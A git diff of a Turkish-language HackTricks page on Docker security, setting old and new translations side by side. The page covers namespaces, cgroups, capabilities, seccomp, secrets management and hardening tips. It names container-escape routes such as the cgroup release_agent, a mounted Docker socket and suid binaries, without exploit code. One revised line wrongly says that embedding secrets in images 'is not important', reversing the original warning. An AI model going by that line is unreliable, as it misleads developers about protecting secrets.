* **Fonksiyon**: İşlemler arasında kaynak tahsisi için başlıca kullanılır. * **Fonksiyon**: İşlemler arasında kaynak tahsisi yapmak için kullanılır.
* **Güvenlik Yönü**: CGroups kendileri izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir. * **Güvenlik Yönü**: CGroups, kendileri başlıca izolasyon güvenliği sunmaz, ancak yanlış yapılandırılmışsa `release_agent` özelliği, yetkisiz erişim için potansiyel olarak kötüye kullanılabilir.
**Yetenek Düşürme (Capability Drop)** **Yetenek Düşürme (Capability Drop)**
@ -150,7 +150,7 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
**Seccomp** **Seccomp**
Docker'da varsayılan olarak etkindir. **İşlemin çağırabileceği sistem çağrılarını daha da sınırlamaya yardımcı olur.**\ Docker'da varsayılan olarak etkindir. **İşlemin çağırabileceği sistem çağrılarını daha da sınırlamaya yardımcı olur**.\
**Varsayılan Docker Seccomp profili**, [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinde bulunabilir. **Varsayılan Docker Seccomp profili**, [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinde bulunabilir.
**AppArmor** **AppArmor**
@ -163,9 +163,9 @@ Bu, yetenekleri, sistem çağrılarını, dosya ve klasörlere erişimi azaltman
### Ad Alanları ### Ad Alanları
**Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **bir küme işlem** **bir dizi** **kaynağı görürken**, **başka** bir **küme işlem** **farklı** bir **kaynak** kümesi görür. Bu özellik, aynı ad alanına sahip kaynaklar ve işlemler kümesi oluşturarak çalışır, ancak bu ad alanları farklı kaynaklara işaret eder. Kaynaklar birden çok alanda bulunabilir. **Ad alanları**, Linux çekirdeğinin bir özelliğidir ve **çekirdek kaynaklarını bölümlere ayırır**, böylece bir **set işlem** bir **set kaynak** görürken **başka** bir **set işlem** farklı bir **set kaynak** görür. Bu özellik, bir dizi kaynak ve işlem için aynı ad alanına sahip olmakla birlikte, bu ad alanlarının farklı kaynaklara işaret etmesiyle çalışır. Kaynaklar birden çok alanda bulunabilir.
Docker, Konteyner izolasyonu sağlamak için aşağıdaki Linux çekirdek Ad Alanlarını kullanır: Docker, Konteyner izolasyonunu sağlamak için aşağıdaki Linux çekirdek Ad Alanlarını kullanır:
* pid ad alanı * pid ad alanı
* mount ad alanı * mount ad alanı
@ -181,8 +181,8 @@ Docker, Konteyner izolasyonu sağlamak için aşağıdaki Linux çekirdek Ad Ala
### cgroups ### cgroups
Linux çekirdek özelliği **cgroups**, **cpu, bellek, io, ağ bant genişliği gibi kaynakları sınırlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza izin verir.\ Linux çekirdek özelliği **cgroups**, bir dizi işlem arasında **cpu, bellek, io, ağ bant genişliği gibi kaynakları kısıtlama** yeteneği sağlar. Docker, belirli bir Konteyner için kaynak kontrolü sağlayan cgroup özelliğini kullanarak Konteynerler oluşturmanıza izin verir.\
Aşağıda, kullanıcı alanı belleği 500m'ye, çekirdek belleği 50m'ye, cpu payını 512'ye, blkioweight'i 400'e sınırlı bir Konteyner oluşturulmuştur. CPU payı, Konteyner'ın CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğunu varsayarsak, CPU kaynağı çatışması durumunda her Konteyner, CPU'nun %33'üne kadar alabilir. blkio-weight, Konteyner'ın IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir. Aşağıda, kullanıcı alanı belleği 500m, çekirdek belleği 50m, cpu payını 512, blkioweight'ı 400 ile sınırlı bir Konteyner oluşturulmuştur. CPU payı, Konteynerin CPU kullanımını kontrol eden bir orandır. Varsayılan değeri 1024'tür ve 0 ile 1024 arasında bir aralığa sahiptir. Üç Konteynerin aynı CPU payına (1024) sahip olduğu durumda, CPU kaynak çatışması durumunda her Konteynerin CPU'nun %33'üne kadar alabileceği anlamına gelir. blkio-weight, Konteynerin IO'sunu kontrol eden bir orandır. Varsayılan değeri 500'dür ve 10 ile 1000 arasında bir aralığa sahiptir.
``` ```
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
``` ```
@ -200,9 +200,9 @@ Daha fazla bilgi için kontrol edin:
### Yetenekler ### Yetenekler
Yetenekler, kök kullanıcı için **izin verilebilecek yetenekler üzerinde daha ince kontrol sağlar**. Docker, **Kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak** için Linux çekirdek yetenek özelliğini kullanır. Yetenekler, kök kullanıcı için izin verilebilecek yetenekler için daha ince kontrol sağlar. Docker, kullanıcı türünden bağımsız olarak bir Konteyner içinde yapılabilen işlemleri sınırlamak için Linux çekirdek yetenek özelliğini kullanır.
Bir docker konteyneri çalıştırıldığında, **işlem, izolasyondan kaçmak için kullanabileceği hassas yetenekleri bırakır**. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğinden ve kaçamayacağından emin olmaya çalışır: Bir docker konteyneri çalıştırıldığında, işlem, izolasyondan kaçınmak için kullanabileceği hassas yetenekleri bırakır. Bu, işlemin hassas eylemleri gerçekleştiremeyeceğini ve kaçamayacağını sağlamaya çalışır:
{% content-ref url="../linux-capabilities.md" %} {% content-ref url="../linux-capabilities.md" %}
[linux-capabilities.md](../linux-capabilities.md) [linux-capabilities.md](../linux-capabilities.md)
@ -210,7 +210,7 @@ Bir docker konteyneri çalıştırıldığında, **işlem, izolasyondan kaçmak
### Docker'da Seccomp ### Docker'da Seccomp
Bu, Docker'ın konteyner içinde kullanılabilecek **sistem çağrılarını sınırlamasına izin veren bir güvenlik özelliğidir**: Bu, Docker'ın konteyner içinde kullanılabilecek sistem çağrılarını sınırlamasına izin veren bir güvenlik özelliğidir:
{% content-ref url="seccomp.md" %} {% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md) [seccomp.md](seccomp.md)
@ -218,7 +218,7 @@ Bu, Docker'ın konteyner içinde kullanılabilecek **sistem çağrılarını sı
### Docker'da AppArmor ### Docker'da AppArmor
**AppArmor**, **konteynerleri** **sınırlı** bir **küme kaynağa** ve **program profillerine** kapatmak için bir çekirdek geliştirmesidir.: AppArmor, konteynerleri sınırlı bir dizi kaynağa per-program profilleri ile sınırlamak için bir çekirdek geliştirmesidir.:
{% content-ref url="apparmor.md" %} {% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md) [apparmor.md](apparmor.md)
@ -228,11 +228,11 @@ Bu, Docker'ın konteyner içinde kullanılabilecek **sistem çağrılarını sı
* **Etiketleme Sistemi**: SELinux, her işlem ve dosya sistemi nesnesine benzersiz bir etiket atar. * **Etiketleme Sistemi**: SELinux, her işlem ve dosya sistemi nesnesine benzersiz bir etiket atar.
* **Politika Uygulaması**: Sistem içinde bir işlem etiketinin diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular. * **Politika Uygulaması**: Sistem içinde bir işlem etiketinin diğer etiketler üzerinde hangi eylemleri gerçekleştirebileceğini tanımlayan güvenlik politikalarını uygular.
* **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında genellikle sınırlı bir SELinux etiketi olan `container_t` atanır. * **Konteyner İşlem Etiketleri**: Konteyner motorları konteyner işlemlerini başlattığında genellikle sınırlı bir SELinux etiketi olan `container_t` olarak atanırlar.
* **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir. * **Konteyner İçindeki Dosya Etiketleme**: Konteyner içindeki dosyalar genellikle `container_file_t` olarak etiketlenir.
* **Politika Kuralları**: SELinux politikası, `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini sağlar. * **Politika Kuralları**: SELinux politikası, `container_t` etiketine sahip işlemlerin yalnızca `container_file_t` olarak etiketlenmiş dosyalarla etkileşime geçebileceğini (okuma, yazma, yürütme) sağlar.
Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılsa, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşime gireceğinden, bu tür tehlikelerden kaynaklanabilecek potansiyel hasarı önemli ölçüde sınırlar. Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılsa, yalnızca karşılık gelen etiketlere sahip nesnelerle etkileşimde bulunabileceğinden, bu tür tehlikelerden kaynaklanabilecek potansiyel hasarı önemli ölçüde sınırlar.
{% content-ref url="../selinux.md" %} {% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md) [selinux.md](../selinux.md)
@ -240,7 +240,7 @@ Bu mekanizma, bir konteyner içindeki bir işlem bile tehlikeye atılsa, yalnız
### AuthZ & AuthN ### AuthZ & AuthN
Docker'da bir yetkilendirme eklentisi, Docker daemonuna yapılan istekleri **izin verip engellemekte güvenlik açısından kritik bir rol oynar**. Bu karar, iki temel bağlamı inceleyerek verilir: Docker'da bir yetkilendirme eklentisi, Docker daemonına yapılan istekleri izin verip engelleyerek güvenlikte önemli bir rol oynar. Bu karar, iki temel bağlamı inceleyerek verilir:
* **Kimlik Doğrulama Bağlamı**: Bu, kullanıcı hakkında kapsamlı bilgileri içerir, kim oldukları ve nasıl kimlik doğruladıkları gibi. * **Kimlik Doğrulama Bağlamı**: Bu, kullanıcı hakkında kapsamlı bilgileri içerir, kim oldukları ve nasıl kimlik doğruladıkları gibi.
* **Komut Bağlamı**: Bu, yapılan isteğe ilişkin tüm ilgili verileri içerir. * **Komut Bağlamı**: Bu, yapılan isteğe ilişkin tüm ilgili verileri içerir.
@ -281,7 +281,7 @@ Aşağıdaki sayfada **`--privileged` bayrağının ne anlama geldiğini** öğr
#### no-new-privileges #### no-new-privileges
Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim sağladığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış suid ikili dosyasına** sahipseniz, saldırgan bunu kötüye kullanabilir ve konteynerin içinde **ayrıcalıkları yükseltebilir**. Bu da onun kaçmasına izin verebilir. Eğer bir saldırganın düşük ayrıcalıklı bir kullanıcı olarak erişim elde etmeyi başardığı bir konteyner çalıştırıyorsanız ve **hatalı yapılandırılmış bir suid ikili dosyanız** varsa, saldırgan bunu kötüye kullanabilir ve konteyner içinde **ayrıcalıkları yükseltebilir**. Bu da onun kaçmasına izin verebilir.
Konteyneri **`no-new-privileges`** seçeneği etkinleştirilmiş olarak çalıştırmak, bu tür ayrıcalık yükseltmelerini **engelleyecektir**. Konteyneri **`no-new-privileges`** seçeneği etkinleştirilmiş olarak çalıştırmak, bu tür ayrıcalık yükseltmelerini **engelleyecektir**.
``` ```
@ -308,23 +308,23 @@ Daha fazla **`--security-opt`** seçeneği için kontrol edin: [https://docs.doc
### Şifreleri Yönetme: En İyi Uygulamalar ### Şifreleri Yönetme: En İyi Uygulamalar
Docker görüntülerine doğrudan şifre gömmek veya çevre değişkenleri kullanmak önemli bir güvenlik riski oluşturur, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynıra erişimi olan herkese hassas bilgilerinizi açığa çıkarır. Docker görüntülerine doğrudan şifre gömmek veya çevresel değişkenler kullanmak önemli değildir, çünkü bu yöntemler, `docker inspect` veya `exec` gibi komutlar aracılığıyla konteynere erişimi olan herkese hassas bilgilerinizi açığa çıkarır.
**Docker birimleri** hassas bilgilere erişim için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için geçici bir bellek dosya sistemi olarak kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynıra `exec` erişimi olanlar hala şifrelere erişebilir. **Docker birimleri** hassas bilgilere erişmek için önerilen daha güvenli bir alternatiftir. Bunlar, riskleri azaltmak için bellekte geçici bir dosya sistemi olarak kullanılabilir ve `docker inspect` ve günlüğe kaydetme ile ilişkili riskleri hafifletir. Ancak, kök kullanıcılar ve konteynere `exec` erişimi olanlar hala şifrelere erişebilir.
**Docker secrets** hassas bilgileri ele almak için daha güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve şifrelerin kullanımını sağlar. **Docker secrets** hassas bilgileri işlemede daha güvenli bir yöntem sunar. Görüntü oluşturma aşamasında şifreler gerektiren durumlar için, **BuildKit** ek özellikler sunarak görüntü oluşturma hızını artırır ve destek sağlayan etkili bir çözüm sunar.
BuildKit'i kullanmak için üç yöntem vardır: BuildKit'i kullanmak için üç şekilde etkinleştirilebilir:
1. Bir çevre değişkeni aracılığıyla: `export DOCKER_BUILDKIT=1` 1. Bir çevresel değişken aracılığıyla: `export DOCKER_BUILDKIT=1`
2. Komutlara önek ekleyerek: `DOCKER_BUILDKIT=1 docker build .` 2. Komutlara önek ekleyerek: `DOCKER_BUILDKIT=1 docker build .`
3. Docker yapılandırmasında varsayılan olarak etkinleştirilerek: `{ "features": { "buildkit": true } }`, ardından bir Docker yeniden başlatma işlemi. 3. Docker yapılandırmasında varsayılan olarak etkinleştirilerek: `{ "features": { "buildkit": true } }`, ardından bir Docker yeniden başlatma işlemi.
BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanımına izin verir, bu sayede bu şifrelerin görüntü oluşturma önbelleğine veya nihai görüntüye dahil edilmediğinden emin olunur, şu şekilde bir komut kullanılarak: BuildKit, `--secret` seçeneği ile yapı zamanı şifrelerin kullanılmasına olanak tanır, bu sayede bu şifrelerin görüntü oluşturma önbelleğine veya nihai görüntüye dahil edilmediğinden emin olunur, şu şekilde bir komut kullanılarak:
```bash ```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file . docker build --secret my_key=my_value ,src=path/to/my_secret_file .
``` ```
Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes** sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır, aşağıdaki `docker-compose.yml` örneğinde gösterildiği gibi: Çalışan bir konteyner için gerekli olan sırlar için **Docker Compose ve Kubernetes** sağlam çözümler sunar. Docker Compose, gizli dosyaları belirtmek için hizmet tanımında bir `secrets` anahtarı kullanır. Bu, bir `docker-compose.yml` örneğinde gösterildiği gibi:
```yaml ```yaml
version: "3.7" version: "3.7"
services: services:
@ -343,31 +343,31 @@ Kubernetes ortamlarında, secrets doğal olarak desteklenir ve [Helm-Secrets](ht
### gVisor ### gVisor
**gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistemi yüzeyinin önemli bir kısmını uygular. Uygulama ile ana çekirdek arasında bir **izolasyon sınırı sağlayan** `runsc` adında bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalıştırma zamanını içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olup, kum havuzlu konteynerlerin çalıştırılmasını kolaylaştırır. **gVisor**, Go dilinde yazılmış bir uygulama çekirdeğidir ve Linux sistemi yüzeyinin önemli bir kısmını uygular. Uygulama ile ana çekirdek arasında bir **izolasyon sınırı sağlayan** `runsc` adında bir [Open Container Initiative (OCI)](https://www.opencontainers.org) çalışma zamanını içerir. `runsc` çalışma zamanı, Docker ve Kubernetes ile entegre olup, sandboxed konteynerlerin çalıştırılmasını kolaylaştırır.
{% embed url="https://github.com/google/gvisor" %} {% embed url="https://github.com/google/gvisor" %}
### Kata Containers ### Kata Containers
**Kata Containers**, konteynerlere benzer şekilde hissedip performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**. **Kata Containers**, konteynerlere benzer şekilde hissettiren ve performans gösteren hafif sanal makinelerle güvenli bir konteyner çalışma zamanı oluşturmak için çalışan açık kaynak topluluğudur, ancak ikinci bir savunma katmanı olarak donanım sanallaştırma teknolojisini kullanarak **daha güçlü iş yükü izolasyonu sağlar**.
{% embed url="https://katacontainers.io/" %} {% embed url="https://katacontainers.io/" %}
### Özet İpuçları ### Özet İpuçları
* **`--privileged` bayrağını kullanmayın veya konteyner içinde bir** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin, `--privileged` bayrağı ile başka bir konteyner çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır. * **`--privileged` bayrağını kullanmayın veya konteyner içinde bir** [**Docker soketi bağlamayın**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Docker soketi, konteynerlerin başlatılmasına izin verir, bu nedenle örneğin `--privileged` bayrağı ile başka bir konteyneri çalıştırarak ana bilgisayarın tam kontrolünü ele geçirmek kolaydır.
* Konteyner içinde **root olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki root, kullanıcı ad alanları ile yeniden eşlenene kadar ana bilgisayardakiyle aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanmıştır. * Konteyner içinde **root olarak çalıştırmayın.** [**Farklı bir kullanıcı**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **ve** [**kullanıcı ad alanları**](https://docs.docker.com/engine/security/userns-remap/)** kullanın.** Konteynerdeki root, kullanıcı ad alanları ile yeniden eşlenmediği sürece ana bilgisayarla aynıdır. Yalnızca Linux ad alanları, yetenekler ve cgroups tarafından hafifçe kısıtlanmıştır.
* [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekli olanları etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek, potansiyel bir saldırı kapsamını artırır. * [**Tüm yetenekleri bırakın**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) ve yalnızca gerekli olanları etkinleştirin** (`--cap-add=...`). Birçok iş yükü hiçbir yetenek gerektirmez ve bunları eklemek bir saldırı kapsamını artırır.
* Süreçlerin daha fazla ayrıcalık kazanmasını önlemek için [**“no-new-privileges” güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/), örneğin suid ikili dosyalar aracılığıyla. * Süreçlerin daha fazla ayrıcalık kazanmasını önlemek için [**“no-new-privileges” güvenlik seçeneğini kullanın**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/), örneğin suid ikili dosyalar aracılığıyla.
* Konteynere **kullanılabilir kaynakları sınırlayın**. Kaynak sınırları, makinenin hizmet reddi saldırılarından korunmasına yardımcı olabilir. * Konteynere **kullanılabilir kaynakları sınırlayın**. Kaynak sınırları, makinenin hizmet reddi saldırılarından korunmasına yardımcı olabilir.
* **[Seccomp](https://docs.docker.com/engine/security/seccomp/)**, [AppArmor](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini ayarlayarak konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirin. * **Seccomp**'ı [**ayarlayın**](https://docs.docker.com/engine/security/seccomp/), [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(veya SELinux)** profillerini, konteyner için kullanılabilir eylemleri ve sistem çağrılarını minimuma indirmek için sınırlayın.
* **[Resmi docker görüntülerini](https://docs.docker.com/docker-hub/official\_images/) kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük görüntülerden miras almayın veya kullanmayın. Ayrıca kök anahtarları, parola gibi bilgileri güvenli bir yerde saklayın. Docker, UCP ile anahtarları yönetme planları yapmaktadır. * [**Resmi docker görüntülerini**](https://docs.docker.com/docker-hub/official\_images/) **kullanın ve imzaları gerektirin** veya bunlara dayalı kendi görüntülerinizi oluşturun. Geriye dönük miras almayın veya [arka kapıdan](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) görüntüler kullanmayın. Ayrıca kök anahtarları, parola güvenli bir yerde saklayın. Docker, anahtarları UCP ile yönetme planları yapmaktadır.
* **Güvenlik yamalarını uygulamak için düzenli olarak** **görüntülerinizi yeniden oluşturun.** * Görüntülerinizi **düzenli olarak yeniden oluşturun** ve **güvenlik yamalarını uygulayın**.
* **Secret'ları akıllıca yönetin** böylece saldırganın bunlara erişmesi zor olur. * **Secret'ları** akıllıca yönetin, böylece saldırganın bunlara erişmesi zor olur.
* Docker daemon'ı **HTTPS ile açıklarsanız**, istemci ve sunucu kimlik doğrulaması kullanın. * Docker daemon'ı **HTTPS ile açıklarsanız**, istemci ve sunucu kimlik doğrulaması kullanın.
* Dockerfile'ınızda, **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla saldırılara maruz kalmazsınız. * Dockerfile'ınızda, **ADD yerine COPY'yi tercih edin**. ADD otomatik olarak sıkıştırılmış dosyaları çıkarır ve dosyaları URL'lerden kopyalayabilir. COPY bu yeteneklere sahip değildir. Mümkün olduğunca ADD kullanmaktan kaçının, böylece uzak URL'ler ve Zip dosyaları aracılığıyla saldırılara karşı savunmasız olmazsınız.
* **Her mikro hizmet için ayrı konteynerler kullanın** * **Her mikro hizmet için ayrı konteynerler** kullanın.
* Konteynerin içine **ssh koymayın**, "docker exec" kullanılarak Konteynere ssh yapılabilir. * Konteyner içine **ssh koymayın**, "docker exec" kullanılarak Konteynere ssh yapılabilir.
* **Daha küçük** konteyner **görüntüleri kullanın** * **Daha küçük** konteyner **görüntüleri kullanın**
## Docker Kaçışı / Ayrıcalık Yükseltme ## Docker Kaçışı / Ayrıcalık Yükseltme
@ -388,8 +388,8 @@ Eğer docker soketine erişiminiz varsa veya **docker grubunda bir kullanıcıya
## Docker Sıkılaştırma ## Docker Sıkılaştırma
* [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, Docker konteynerlerini üretimde dağıtmakla ilgili onlarca yaygın en iyi uygulamayı kontrol eden bir betik. Testlerin hepsi otomatiktir ve [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınmıştır.\ * [**docker-bench-security**](https://github.com/docker/docker-bench-security) aracı, Docker konteynerlerini üretimde dağıtma etrafında onlarca yaygın en iyi uygulamayı kontrol eden bir betik. Testlerin hepsi otomatiktir ve [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/) temel alınmıştır.\
Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahip bir konteynerden çalıştırılmalıdır. README'de nasıl çalıştırılacağını öğrenin: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahip bir konteynerden çalıştırmanız gerekir. README'de nasıl çalıştırılacağını öğrenin: [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## Referanslar ## Referanslar
@ -407,21 +407,21 @@ Araç, Docker çalıştıran ana bilgisayardan veya yeterli ayrıcalıklara sahi
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) * [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) * [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ Dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturmak ve **otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
Bugün Erişim Alın: Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong>!</summary> HackTricks'ı desteklemenin diğer yolları:
Diğer HackTricks'i destekleme yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
- [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
- 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
- **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.

View file

@ -2,44 +2,44 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
